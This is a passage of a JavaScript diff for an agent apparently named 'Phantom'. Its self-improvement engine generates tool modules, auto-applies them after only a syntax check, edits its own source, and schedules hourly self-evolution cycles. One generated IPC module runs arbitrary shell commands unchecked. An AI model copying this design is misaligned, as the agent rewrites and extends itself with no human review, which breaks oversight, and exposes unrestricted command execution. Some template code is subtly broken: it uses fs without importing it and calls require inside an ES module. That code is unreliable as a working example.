\`[${name}] Usage: @${name}||\`; + + const response = await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json", "User-Agent": "Phantom/1.0" }, + body: JSON.stringify({ query, variables }), + signal: AbortSignal.timeout(15000), + }); + + const data = await response.json(); + const formatted = JSON.stringify(data, null, 2); + return formatted.slice(0, 8000); + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateSSEModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Server-Sent Events streaming +// Generated by Phantom self-improvement engine + +/** + * SSE (Server-Sent Events) stream reader. + * Usage: @${name}| [--events=] [--timeout=] + */ +export default async function(input) { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${name}] SSE Stream Reader +Usage: @${name}| [--events=5] [--timeout=10000] +Examples: + ${name}|https://api.example.com/events --events=3 + ${name}|https://stream.example.com/data --timeout=5000 + +Connects to an SSE endpoint and captures events. +Outputs event data as they arrive.\`; + } + + const urlMatch = args.match(/https?:\\/\\/[^\\s]+/); + if (!urlMatch) return \`[${name}] No URL found in: \${args}\`; + + const url = urlMatch[0]; + const eventMatch = args.match(/--events=(\\d+)/); + const timeoutMatch = args.match(/--timeout=(\\d+)/); + const maxEvents = eventMatch ? parseInt(eventMatch[1]) : 10; + const timeoutMs = timeoutMatch ? parseInt(timeoutMatch[1]) : 10000; + + const response = await fetch(url, { + headers: { Accept: "text/event-stream", "User-Agent": "Phantom/1.0" }, + signal: AbortSignal.timeout(timeoutMs), + }); + + if (!response.ok) return \`[${name}] HTTP \${response.status} from \${url}\`; + if (!response.body) return \`[${name}] No response body\`; + + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + const events = []; + let buffer = ""; + + while (events.length < maxEvents) { + const { done, value } = await reader.read(); + if (done) break; + buffer += decoder.decode(value, { stream: true }); + const lines = buffer.split("\\n"); + buffer = lines.pop() || ""; + + for (const line of lines) { + if (line.startsWith("data: ")) { + events.push(line.slice(6)); + } else if (line.startsWith("event: ")) { + // track event type if needed + } + } + } + + if (events.length === 0) return \`[${name}] Connected to \${url} (no events received)\`; + return \`[${name}] \${url} — \${events.length} events\\n\${events.slice(0, maxEvents).join("\\n")}\`; + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateStreamingModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Stream processing for large data +// Generated by Phantom self-improvement engine + +import { createReadStream, createWriteStream, existsSync } from "fs"; +import { resolve } from "path"; +import { Transform } from "stream"; + +/** + * Stream processing tool — process large files line-by-line. + * Usage: @${name}|| [--output=] + * Transforms: upper, lower, reverse, base64, count, grep: + */ +export default async function(input) { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${name}] Stream Processor +Process large files line-by-line without loading into memory. +Usage: @${name}|| [--output=] +Transforms: + upper Convert to uppercase + lower Convert to lowercase + reverse Reverse each line + base64 Base64 encode each line + count Count lines/words/bytes + grep: Filter lines matching pattern + sed:s/find/replace Search and replace + +Examples: + ${name}|large.log|grep:ERROR --output=errors.log + ${name}|data.txt|upper + ${name}|bigfile.csv|count\`; + } + + const parts = args.split("|").map(s => s.trim()); + const inputPath = parts[0] ? resolve(parts[0]) : null; + const transform = parts[1] || ""; + const outMatch = args.match(/--output=([^\\s]+)/); + const outputPath = outMatch ? resolve(outMatch[1]) : null; + + if (!inputPath || !existsSync(inputPath)) return \`[${name}] Input file not found: \${parts[0]}\`; + if (!transform) return \`[${name}] No transform specified\`; + + const stat = existsSync(inputPath); + const size = stat ? fs.statSync(inputPath).size : 0; + + // Simple counter mode + if (transform === "count") { + return new Promise((resolvePromise) => { + let lines = 0, words = 0, bytes = 0; + const rs = createReadStream(inputPath, { encoding: "utf-8" }); + rs.on("data", chunk => { + bytes += Buffer.byteLength(chunk, "utf-8"); + lines += (chunk.match(/\\n/g) || []).length; + words += chunk.split(/\\s+/).filter(Boolean).length; + }); + rs.on("end", () => resolvePromise(\`[${name}] \${inputPath}\\n Lines: \${lines}\\n Words: \${words}\\n Bytes: \${bytes}\\n Size: \${(size / 1024).toFixed(1)} KB\`)); + rs.on("error", e => resolvePromise(\`[${name} Error] \${e.message}\`)); + }); + } + + // Line-by-line transform mode + return new Promise((resolvePromise) => { + const outputs = []; + const rs = createReadStream(inputPath, { encoding: "utf-8" }); + const rl = require("readline").createInterface({ input: rs }); + + rl.on("line", line => { + let result = line; + switch (transform) { + case "upper": result = line.toUpperCase(); break; + case "lower": result = line.toLowerCase(); break; + case "reverse": result = line.split("").reverse().join(""); break; + case "base64": result = Buffer.from(line, "utf-8").toString("base64"); break; + default: + if (transform.startsWith("grep:")) { + const pat = transform.slice(5); + if (!line.includes(pat) && !new RegExp(pat).test(line)) return; + } else if (transform.startsWith("sed:")) { + const m = transform.match(/^sed:(.+?)\\/(.+?)\\/(.*)$/); + if (m) result = line.replace(new RegExp(m[1], "g"), m[2]); + } + } + outputs.push(result); + }); + + rl.on("close", () => { + const text = outputs.join("\\n"); + if (outputPath) { + fs.writeFileSync(outputPath, text, "utf-8"); + resolvePromise(\`[${name}] Processed \${outputs.length} lines → \${outputPath} (\${text.length} chars)\`); + } else { + const preview = text.slice(0, 3000); + const truncated = text.length > 3000 ? \`\\n... (truncated, \${text.length} total chars)\` : ""; + resolvePromise(\`[${name}] \${inputPath} → \${outputs.length} lines\\n\${preview}\${truncated}\`); + } + }); + + rl.on("error", e => resolvePromise(\`[${name} Error] \${e.message}\`)); + }); + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateAuthModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Authentication/Authorization tools +// Generated by Phantom self-improvement engine + +import { createHash, randomBytes } from "crypto"; + +/** + * Auth tools — JWT decode, hash verify, token analysis. + * Usage: @${name}|decode| + * @${name}|hash| [--algorithm=] + * @${name}|random| + */ +export default async function(input) { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${name}] Authentication Tools +Usage: + @${name}|decode| Decode a JWT (no signature verify) + @${name}|hash| Hash a password (default: sha256) + @${name}|hash| --algo=sha512 + @${name}|random|32 Generate random hex string (N bytes) + @${name}|basic|user:pass Encode Basic auth header + +Examples: + ${name}|decode|eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHx0I + ${name}|hash|mypassword --algo=sha512 + ${name}|random|16\`; + } + + const parts = args.split("|").map(s => s.trim()); + const command = parts[0]; + const data = parts.slice(1).join("|"); + + switch (command) { + case "decode": { + const token = data; + if (!token || !token.includes(".")) return \`[${name}] Invalid JWT format\`; + const segments = token.split("."); + if (segments.length < 2) return \`[${name}] Invalid JWT format\`; + const decode = (s) => { + try { + return JSON.parse(Buffer.from(s.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf-8")); + } catch { return { error: "Cannot decode" }; } + }; + const header = decode(segments[0]); + const payload = decode(segments[1]); + const lines = [ + \`[${name}] JWT Decoded\`, + \`── Header ──\`, + JSON.stringify(header, null, 2), + \`── Payload ──\`, + JSON.stringify(payload, null, 2), + ]; + if (segments[2]) lines.push(\`── Signature ──\${segments[2].slice(0, 32)}...\`); + return lines.join("\\n"); + } + + case "hash": { + const algoMatch = args.match(/--algo=(\\w+)/); + const algo = algoMatch ? algoMatch[1] : "sha256"; + if (!["sha256", "sha512", "md5", "sha1"].includes(algo)) return \`[${name}] Unsupported algorithm: \${algo}. Use sha256, sha512, md5, or sha1.\`; + const hash = createHash(algo).update(data).digest("hex"); + return \`[${name}] \${algo} hash of "\${data.slice(0, 50)}":\n\${hash}\`; + } + + case "random": { + const len = parseInt(data) || 16; + const hex = randomBytes(Math.ceil(len / 2)).toString("hex").slice(0, len); + return \`[${name}] Random hex (\${len} chars): \${hex}\`; + } + + case "basic": { + // Encode Basic auth header value + const encoded = Buffer.from(data).toString("base64"); + return \`[${name}] Basic Auth:\n Header: Authorization: Basic \${encoded}\n Value: \${data}\`; + } + + default: + return \`[${name}] Unknown command: \${command}. Use @${name}|--help for usage.\`; + } + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateCacheModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Caching layer for tool outputs +// Generated by Phantom self-improvement engine + +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; +import { createHash } from "crypto"; + +const CACHE_DIR = resolve(homedir(), ".config", "phantom", "cache"); +const DEFAULT_TTL = 5 * 60 * 1000; // 5 minutes + +/** + * Cache layer — store and retrieve cached tool outputs. + * Usage: @${name}|get| + * @${name}|set|| [--ttl=] + * @${name}|del| + * @${name}|clear + * @${name}|stats + */ +export default async function(input) { + try { + if (!fs.existsSync(CACHE_DIR)) fs.mkdirSync(CACHE_DIR, { recursive: true }); + + const args = (input || "").trim(); + + if (!args) { + return \`[${name}] Cache System +Usage: + @${name}|get| Get cached value + @${name}|set|| Set cached value (default TTL: 5min) + @${name}|del| Delete cached entry + @${name}|clear Clear entire cache + @${name}|stats Show cache statistics + +Used internally by Phantom to cache repeated tool outputs.\`; + } + + const cacheFile = resolve(CACHE_DIR, "registry.json"); + let registry = {}; + try { + if (fs.existsSync(cacheFile)) registry = JSON.parse(fs.readFileSync(cacheFile, "utf-8")); + } catch {} + + const parts = args.split("|").map(s => s.trim()); + const command = parts[0]; + + switch (command) { + case "get": { + const key = parts.slice(1).join("|"); + if (!key) return \`[${name}] Usage: @${name}|get|\`; + const hashKey = createHash("md5").update(key).digest("hex"); + const entry = registry[hashKey]; + if (!entry) return \`[${name}] Cache miss for: \${key.slice(0, 60)}\`; + if (Date.now() - entry.ts > (entry.ttl || DEFAULT_TTL)) { + delete registry[hashKey]; + fs.writeFileSync(cacheFile, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] Cache expired for: \${key.slice(0, 60)}\`; + } + return \`[${name}] Cache hit for: \${key.slice(0, 60)}\\n\${entry.value.slice(0, 3000)}\`; + } + + case "set": { + const separatorIdx = args.indexOf("|", args.indexOf("|") + 1); + if (separatorIdx === -1) return \`[${name}] Usage: @${name}|set||\`; + const key = args.slice(4, separatorIdx).trim(); + const value = args.slice(separatorIdx + 1).trim(); + const ttlMatch = args.match(/--ttl=(\\d+)/); + const ttl = ttlMatch ? parseInt(ttlMatch[1]) * 1000 : DEFAULT_TTL; + const hashKey = createHash("md5").update(key).digest("hex"); + registry[hashKey] = { key, ts: Date.now(), ttl, length: value.length }; + if (!fs.existsSync(CACHE_DIR)) fs.mkdirSync(CACHE_DIR, { recursive: true }); + fs.writeFileSync(resolve(CACHE_DIR, \`\${hashKey}.cache\`), value, "utf-8"); + fs.writeFileSync(cacheFile, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] Cached (\${value.length} chars, TTL: \${ttl / 1000}s)\`; + } + + case "del": { + const dkey = parts.slice(1).join("|"); + const dhash = createHash("md5").update(dkey).digest("hex"); + if (registry[dhash]) { + delete registry[dhash]; + const cachePath = resolve(CACHE_DIR, \`\${dhash}.cache\`); + if (fs.existsSync(cachePath)) fs.unlinkSync(cachePath); + fs.writeFileSync(cacheFile, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] Deleted: \${dkey.slice(0, 60)}\`; + } + return \`[${name}] Not found: \${dkey.slice(0, 60)}\`; + } + + case "clear": { + const count = Object.keys(registry).length; + if (fs.existsSync(CACHE_DIR)) { + const files = fs.readdirSync(CACHE_DIR); + for (const f of files) fs.unlinkSync(resolve(CACHE_DIR, f)); + } + fs.writeFileSync(cacheFile, "{}", "utf-8"); + return \`[${name}] Cache cleared (\${count} entries removed)\`; + } + + case "stats": { + const count = Object.keys(registry).length; + let totalSize = 0, validEntries = 0, expiredEntries = 0; + for (const [k, v] of Object.entries(registry)) { + const cachePath = resolve(CACHE_DIR, \`\${k}.cache\`); + if (fs.existsSync(cachePath)) totalSize += fs.statSync(cachePath).size; + if (Date.now() - v.ts > (v.ttl || DEFAULT_TTL)) expiredEntries++; + else validEntries++; + } + return \`[${name}] Cache Stats: + Total entries: \${count} + Valid: \${validEntries} + Expired: \${expiredEntries} + Disk size: \${(totalSize / 1024).toFixed(1)} KB + Cache dir: \${CACHE_DIR}\`; + } + + default: + return \`[${name}] Unknown command: \${command}. Use @${name}|--help for usage.\`; + } + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateIPCModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Inter-process communication utilities +// Generated by Phantom self-improvement engine + +import { spawn, execSync } from "child_process"; +import { existsSync } from "fs"; +import { isMainThread, parentPort, Worker } from "worker_threads"; + +/** + * IPC tools — spawn processes, communicate via workers. + * Usage: @${name}|exec| + * @${name}|bg| Start background process + * @${name}|ps List child processes + */ +export default async function(input) { + try { + const args = (input || "").trim(); + + if (!args) { + return \`[${name}] IPC Utilities +Usage: + @${name}|exec| Execute and capture output + @${name}|bg| Start background process + @${name}|ps List Phantom child processes + +For multi-process coordination and long-running tasks.\`; + } + + const parts = args.split("|").map(s => s.trim()); + const command = parts[0]; + const rest = parts.slice(1).join("|"); + + switch (command) { + case "exec": { + if (!rest) return \`[${name}] Usage: @${name}|exec|\`; + // Use shell for full command support + const result = execSync(rest, { + encoding: "utf-8", + timeout: 60000, + maxBuffer: 1024 * 1024, + }); + return \`[${name}] Executed:\n\${rest}\n── Output ──\n\${result.trim().slice(0, 4000) || "(empty)"}\`; + } + + case "bg": { + if (!rest) return \`[${name}] Usage: @${name}|bg|\`; + const proc = spawn("sh", ["-c", rest], { + stdio: ["ignore", "pipe", "pipe"], + detached: true, + }); + let out = ""; + proc.stdout.on("data", d => { out += d.toString(); }); + proc.stderr.on("data", d => { out += d.toString(); }); + // Don't await — let it run in background + return \`[${name}] Started background process (PID: \${proc.pid})\nCommand: \${rest}\`; + } + + case "ps": { + // List phantom-related processes + const result = execSync("ps aux | grep -E 'node|phantom' | grep -v grep", { + encoding: "utf-8", + timeout: 5000, + }).trim(); + if (!result) return \`[${name}] No Phantom child processes found\`; + const lines = result.split("\\n"); + return \`[${name}] Child Processes (\${lines.length}):\n\${lines.join("\\n")}\`; + } + + default: + return \`[${name}] Unknown command: \${command}. Use @${name}|--help for usage.\`; + } + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +// ── 6. FULL IMPROVEMENT CYCLE ────────────────────────────── + +/** + * Full self-improvement pipeline: + * 1. Take a project URL/path + * 2. Clone/scan it + * 3. Analyze Phantom's own capabilities + * 4. Gap analysis + * 5. Pattern extraction + * 6. Code generation for each gap + * 7. Apply changes + * 8. Test and commit + * + * Returns detailed results report. + */ +export async function fullImprovementCycle(target) { + const startTime = Date.now(); + const report = { + target, + started: new Date().toISOString(), + elapsed: null, + project: null, + selfAnalysis: null, + gaps: [], + generated: [], + applied: [], + errors: [], + }; + + try { + // Step 1: Clone/scan the project + const project = cloneOrLocate(target); + report.project = { name: project.name, path: project.path, isRemote: project.isRemote }; + report.project.scan = scanProject(project.path); + + // Step 2: Analyze self + const self = analyzeSelf(); + report.selfAnalysis = { + tools: self.tools.length, + exports: self.exports.length, + architecture: self.architecture, + featureCount: self.features.filter(f => f.present).length, + }; + + // Step 3: Gap analysis + const gaps = gapAnalysis(report.project.scan, self); + report.gaps = gaps; + + // Step 4: Extract patterns + const patterns = extractPatterns(project.path); + const patternPath = savePatterns(project.name, patterns); + report.patternsSaved = patternPath; + + // Step 5: Generate code for each gap (up to 8 per cycle) + const maxGens = Math.min(gaps.length, 8); + for (let i = 0; i < maxGens; i++) { + try { + const gap = gaps[i]; + const generated = generateModule(gap, patterns); + if (generated.filePath) { + report.generated.push({ + gap: gap.feature, + file: generated.filePath, + toolName: generated.toolName || generated.moduleName, + }); + } + } catch (e) { + report.errors.push({ phase: "generate", feature: gaps[i].feature, error: e.message }); + } + } + + // Step 6: Validate generated code + for (const gen of report.generated) { + try { + if (gen.file && fs.existsSync(gen.file)) { + execSync(`node --check "${gen.file}"`, { encoding: "utf-8", timeout: 10000 }); + report.applied.push({ file: gen.file, status: "valid" }); + } + } catch (e) { + report.errors.push({ phase: "validate", file: gen.file, error: e.stderr?.slice(0, 200) || e.message }); + } + } + + // Step 7: Auto-apply validated modules — copy to learned + register + if (report.applied.length > 0) { + try { + const applyResults = autoApplyGenerated(); + report.autoApplied = applyResults; + } catch (e) { + report.errors.push({ phase: "auto-apply", error: e.message }); + } + } + + // Step 8: Check git_sync schedule — remind about pushes + try { + const st = loadState(); + if (st?.gitSync?.nextPush && Date.now() >= st.gitSync.nextPush) { + report.gitSyncDue = true; + report.gitSyncNext = new Date(st.gitSync.nextPush).toISOString().slice(0, 10); + } + } catch {} + + // Save full report to disk + report.elapsed = Date.now() - startTime; + const st = loadState(); + st.self_improve.push({ + target, + ts: report.started, + elapsed: report.elapsed, + gaps: gaps.length, + generated: report.generated.length, + validated: report.applied.length, + errors: report.errors.length, + }); + st.imported_features.push(...report.generated.map(g => g.toolName)); + // Trim history + if (st.self_improve.length > 20) st.self_improve = st.self_improve.slice(-20); + if (st.imported_features.length > 100) st.imported_features = st.imported_features.slice(-100); + saveState(st); + + return report; + } catch (e) { + report.elapsed = Date.now() - startTime; + report.errors.push({ phase: "overall", error: e.message }); + const st = loadState(); + st.self_improve.push({ target, ts: report.started, elapsed: report.elapsed, error: e.message }); + saveState(st); + return report; + } +} + +/** + * Quick self-scan: show what Phantom knows about itself and any pending gaps. + */ +export function selfImproveStatus() { + const st = loadState(); + const self = analyzeSelf(); + const patterns = loadAllPatterns(); + const learnedModulesDir = GENERATED_DIR; + + return { + generation: st.generation, + cyclesRun: st.self_improve?.length || 0, + featuresImported: st.imported_features || [], + patternsLearned: Object.keys(patterns), + pendingImprovements: st.self_improve?.filter(s => s.error)?.length || 0, + selfOverview: { + tools: self.tools.length, + exports: self.exports.length, + features: self.features.filter(f => f.present).length, + gaps: self.features.filter(f => !f.present).map(f => f.name), + architecture: self.architecture, + }, + generatedFiles: (() => { + if (!fs.existsSync(learnedModulesDir)) return []; + return fs.readdirSync(learnedModulesDir).filter(f => f.endsWith(".mjs")); + })(), + }; +} + +// ── Utility ─────────────────────────────────────────────── + +function camelCase(str) { + return str + .replace(/[^a-zA-Z0-9\s_-]/g, "") + .replace(/[-_\s]+(.)?/g, (_, c) => c ? c.toUpperCase() : "") + .replace(/^(.)/, (c) => c.toLowerCase()); +} + +// ── 8. AUTO-APPLY — register generated modules at runtime ── +// Copies generated → learned, then hot-loads into hackerTools + +export function autoApplyGenerated() { + const results = []; + if (!fs.existsSync(GENERATED_DIR)) return results; + const files = fs.readdirSync(GENERATED_DIR).filter(f => f.endsWith(".mjs")); + ensureDir(LEARNED_MODULES_DIR); + + for (const f of files) { + const src = resolve(GENERATED_DIR, f); + const dst = resolve(LEARNED_MODULES_DIR, f); + const toolName = f.replace(/\.mjs$/, ""); + + // Validate before applying + try { + execSync(`node --check "${src}"`, { encoding: "utf-8", timeout: 10000 }); + } catch (e) { + results.push({ file: f, status: "syntax_error", error: e.stderr?.slice(0, 100) }); + try { fs.unlinkSync(src); } catch {} + continue; + } + + // Copy to learned + fs.copyFileSync(src, dst); + results.push({ file: f, status: "applied", toolName }); + } + + // Update evolution state + const st = loadState(); + st.generation++; + st.last_evolve = new Date().toISOString(); + saveState(st); + + return results; +} + +// ── 10. SELF-EVOLVE — run improvement cycles against Phantom itself ── + +export function analyzeSelfGaps() { + const self = analyzeSelf(); + const gaps = []; + + // Architecture gaps + if (!self.architecture.moduleCount) gaps.push({ area: "architecture", issue: "Module count unknown", priority: "low" }); + + // Check what Phantom might want from its own patterns + const ownDir = PHANTOM_DIR; + if (fs.existsSync(ownDir)) { + const srcFiles = fs.readdirSync(ownDir).filter(f => f.endsWith(".mjs")); + for (const f of srcFiles) { + try { + const content = fs.readFileSync(resolve(ownDir, f), "utf-8"); + // Detect external tool mentions + const extTools = content.match(/execSync\(`(\w+)/g); + if (extTools) { + for (const t of extTools) { + const name = t.replace(/execSync\(`/, ""); + if (!self.tools.includes(name)) { + gaps.push({ area: "missing_wrapper", issue: name, priority: "medium", source: f }); + } + } + } + } catch {} + } + } + + return gaps; +} + +export async function selfEvolve() { + const startTime = Date.now(); + const report = { + target: "self", + started: new Date().toISOString(), + generated: [], + applied: [], + errors: [], + }; + + try { + // 1. Scan self + const self = analyzeSelf(); + report.selfTools = self.tools.length; + + // 2. Find own gaps — detect external binaries referenced but not wrapped + const gaps = analyzeSelfGaps(); + report.gapsFound = gaps.length; + + // 3. Generate wrappers for missing binaries + for (const gap of gaps) { + if (gap.area === "missing_wrapper") { + try { + const gen = generateTool(gap.issue, `Auto-detected missing wrapper from ${gap.source}`); + if (gen.filePath) { + report.generated.push({ tool: gap.issue, file: gen.filePath }); + } + } catch (e) { + report.errors.push({ phase: "generate", tool: gap.issue, error: e.message }); + } + } + } + + // 4. Auto-apply any generated code + if (report.generated.length > 0) { + const applyResults = autoApplyGenerated(); + report.applied = applyResults; + } + + // 5. Update state + report.elapsed = Date.now() - startTime; + const st = loadState(); + st.self_improve.push({ + target: "self", + ts: report.started, + elapsed: report.elapsed, + gaps: gaps.length, + generated: report.generated.length, + applied: report.applied.length, + errors: report.errors.length, + }); + saveState(st); + + return report; + } catch (e) { + report.elapsed = Date.now() - startTime; + report.errors.push({ phase: "overall", error: e.message }); + return report; + } +} + +// ── 11. CONTINUOUS EVOLUTION — schedule + health ── + +export function scheduleAutoEvolve(intervalMs = 3600000) { + // intervalMs = default 1 hour + const st = loadState(); + st.scheduledInterval = intervalMs; + st.nextScheduledEvolve = Date.now() + intervalMs; + saveState(st); + return { ok: true, nextRun: new Date(st.nextScheduledEvolve).toISOString(), intervalMs }; +} + +export function getScheduledEvolve() { + const st = loadState(); + if (!st.nextScheduledEvolve) return { scheduled: false }; + return { + scheduled: true, + nextRun: new Date(st.nextScheduledEvolve).toISOString(), + intervalMs: st.scheduledInterval, + due: Date.now() >= st.nextScheduledEvolve, + }; +} + +export async function checkAndEvolve() { + const sched = getScheduledEvolve(); + if (!sched.due) return { skipped: "not due yet", nextRun: sched.nextRun }; + return await selfEvolve(); +} + +// ── 12. READ ANY FILE — for self-editing context ── + +export function readSelfSource(filePath) { + const fullPath = resolve(PHANTOM_DIR, filePath); + try { + const content = fs.readFileSync(fullPath, "utf-8"); + const lines = content.split("\n"); + return { + path: fullPath, + lines: lines.length, + size: content.length, + content: content.slice(0, 50000), + truncated: content.length > 50000, + }; + } catch (e) { + return { error: e.message }; + } +} + +export function editSelfFile(filePath, oldString, newString) { + const fullPath = resolve(PHANTOM_DIR, filePath); + try { + let content = fs.readFileSync(fullPath, "utf-8"); + if (!content.includes(oldString)) { + return { ok: false, error: "old_string not found in file" }; + } + content = content.replace(oldString, newString); + fs.writeFileSync(fullPath, content, "utf-8"); + return { ok: true, path: fullPath }; + } catch (e) { + return { ok: false, error: e.message }; + } +} + +// ── 13. MULTI-LANGUAGE SCANNERS (Rust, Ruby, Java, C/C++, Shell) ── + +function analyzeRustFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + result.patterns.moduleSystem = "rust"; + + // pub fn, pub async fn, fn (private), pub struct, pub enum, pub trait, impl blocks + const exports = content.matchAll(/^\s*(?:pub(?:\s+async)?\s+)?fn\s+(\w+)\s*\(([^)]*)\)/gm); + for (const m of exports) { + const name = m[1]; const params = m[2].trim(); + result.exports.push({ name, file: relative(result.path, fullPath), type: "fn" }); + const toolParams = ["query","target","url","domain","path","text","data","name","input","args","cmd","host","port","addr"]; + if (toolParams.some(p => params.includes(p))) result.tools.push({ name, param: (params.split(",")[0]||"input").trim(), file: relative(result.path, fullPath) }); + } + // struct/enum/trait as exports + for (const kw of ["struct", "enum", "trait"]) { + const types = content.matchAll(new RegExp(`^\\s*pub\\s+${kw}\\s+(\\w+)`, "gm")); + for (const m of types) result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: kw }); + } + // Feature detection + if (/(tokio|async_std|smol)/.test(content) && !result.features.includes("async")) + result.features.push("async"); + if (/(serde|serde_json|bincode)/.test(content) && !result.features.includes("serialization")) + result.features.push("serialization"); + if (/(reqwest|hyper|actix_web|warp|axum|rocket)/.test(content)) { + result.patterns.hasHttpServer = true; + result.features.push("http"); + } + if (/(clap|structopt|argh)/.test(content)) result.patterns.hasCli = true; + if (/(rusqlite|diesel|sqlx|mongodb|redis)/.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(jsonwebtoken|oauth2|bcrypt|argon2)/.test(content) && !result.features.includes("auth")) + result.features.push("auth"); + if (/(tungstenite|tokio_tungstenite|socket2)/.test(content) && !result.features.includes("websocket")) + result.features.push("websocket"); + if (/(lru_cache|moka|cached)/.test(content) && !result.features.includes("cache")) + result.features.push("cache"); +} + +function analyzeRubyFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + result.patterns.moduleSystem = "ruby"; + const funcs = content.matchAll(/^\s*(?:def\s+(?:self\.)?(\w+)|def\s+(\w+))/gm); + for (const m of funcs) { + const name = m[1] || m[2]; + if (!name) continue; + result.exports.push({ name, file: relative(result.path, fullPath) }); + result.tools.push({ name, param: "input", file: relative(result.path, fullPath) }); + } + const classes = content.matchAll(/^\s*class\s+(\w+)/gm); + for (const m of classes) result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: "class" }); + const modules = content.matchAll(/^\s*module\s+(\w+)/gm); + for (const m of modules) result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: "module" }); + // Feature detection + if (/(sinatra|rails|rack)/.test(content)) result.patterns.hasHttpServer = true; + if (/(thor|rake|optionparser)/.test(content)) result.patterns.hasCli = true; + if (/require\s+['\"]?(net\/http|httparty|faraday|rest-client)/.test(content)) result.features.push("http"); + if (/(sequel|activerecord|mongoid|redis)/.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(jwt|devise|bcrypt|omniauth)/.test(content) && !result.features.includes("auth")) + result.features.push("auth"); +} + +function analyzeJavaFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + result.patterns.moduleSystem = "java"; + const methods = content.matchAll(/^\s*(?:public\s+)?(?:static\s+)?(?:\w+)\s+(\w+)\s*\(([^)]*)\)\s*(?:throws\s+\w+)?\s*\{/gm); + for (const m of methods) { + const name = m[1]; const params = m[2].trim(); + result.exports.push({ name, file: relative(result.path, fullPath), type: "method" }); + const toolParams = ["query","target","url","domain","path","text","data","name","input","args","cmd","host","port"]; + if (toolParams.some(p => params.includes(p))) result.tools.push({ name, param: (params.split(",")[0]||"input").trim(), file: relative(result.path, fullPath) }); + } + const classes = content.matchAll(/^\s*(?:public\s+)?(?:abstract\s+)?(?:class|interface|enum)\s+(\w+)/gm); + for (const m of classes) result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: "class" }); + // Feature detection + if (/(spring|jakarta\.ws|javax\.ws|rest|@RestController)/.test(content)) result.patterns.hasHttpServer = true; + if (/(jdbc|hibernate|jpa|mybatis|mongo)/.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(jwt|spring-security|oauth|bcrypt)/.test(content) && !result.features.includes("auth")) + result.features.push("auth"); + if (/(okhttp|httpclient|unirest)/.test(content)) result.features.push("http"); + if (/(slf4j|log4j|java\.util\.logging)/.test(content) && !result.features.includes("logging")) + result.features.push("logging"); +} + +function analyzeCppFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + result.patterns.moduleSystem = "cpp"; + // Function declarations (returnType functionName(params) | auto functionName(params) ->) + const funcs = content.matchAll(/(?:^\s*(?:\w+[:\*&\s]+)+(\w+)\s*\(([^)]*)\)\s*(?:const|override|noexcept|throw)?\s*\{|^\s*auto\s+(\w+)\s*\(([^)]*)\))/gm); + for (const m of funcs) { + const name = m[1] || m[3]; const params = (m[2] || m[4] || "").trim(); + if (!name || name === "if" || name === "while" || name === "for") continue; + result.exports.push({ name, file: relative(result.path, fullPath), type: "fn" }); + const toolParams = ["query","target","url","path","data","name","input","args","host","port"]; + if (toolParams.some(p => params.includes(p))) result.tools.push({ name, param: (params.split(",")[0]||"input").trim(), file: relative(result.path, fullPath) }); + } + const classes = content.matchAll(/^\s*(?:class|struct)\s+(\w+)/gm); + for (const m of classes) result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: "class" }); + // Feature detection + if (/(boost\.asio|poco|libcurl|cpr)/.test(content)) result.features.push("http"); + if (/(sqlite3|libpq|mysqlclient|soci|redis-plus-plus)/.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(openssl|ssl|jwt)/.test(content) && !result.features.includes("auth")) + result.features.push("auth"); + if (/(nlohmann\/json|rapidjson|jsoncpp)/.test(content) && !result.features.includes("serialization")) + result.features.push("serialization"); + if (/(spdlog|glog|boost\.log)/.test(content) && !result.features.includes("logging")) + result.features.push("logging"); +} + +function analyzeShellFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + result.patterns.moduleSystem = "shell"; + const funcs = content.matchAll(/^\s*(?:function\s+)?(\w+)\s*\(\s*\)\s*\{/gm); + for (const m of funcs) { + const name = m[1]; + if (name === "if" || name === "while" || name === "for" || name === "case") continue; + result.exports.push({ name, file: relative(result.path, fullPath), type: "fn" }); + result.tools.push({ name, param: "input", file: relative(result.path, fullPath) }); + } + // Detect curl/wget usage as features + if (/curl\s/.test(content) && !result.features.includes("http")) + result.features.push("http"); + if (/(jq|grep|sed|awk)/.test(content) && !result.features.includes("text-processing")) + result.features.push("text-processing"); + if (/(docker|kubectl|podman)/.test(content) && !result.features.includes("container")) + result.features.push("container"); +} + +// ── 14. LEARN FROM EXTERNAL SOURCES ── + +const LEARN_CACHE = resolve(BASE_DIR, "learn_cache"); +const GH_SEARCH = "https://api.github.com/search/repositories?q="; + +function saveLearnedTopic(topic, results) { + const st = loadState(); + if (!st.learned_topics) 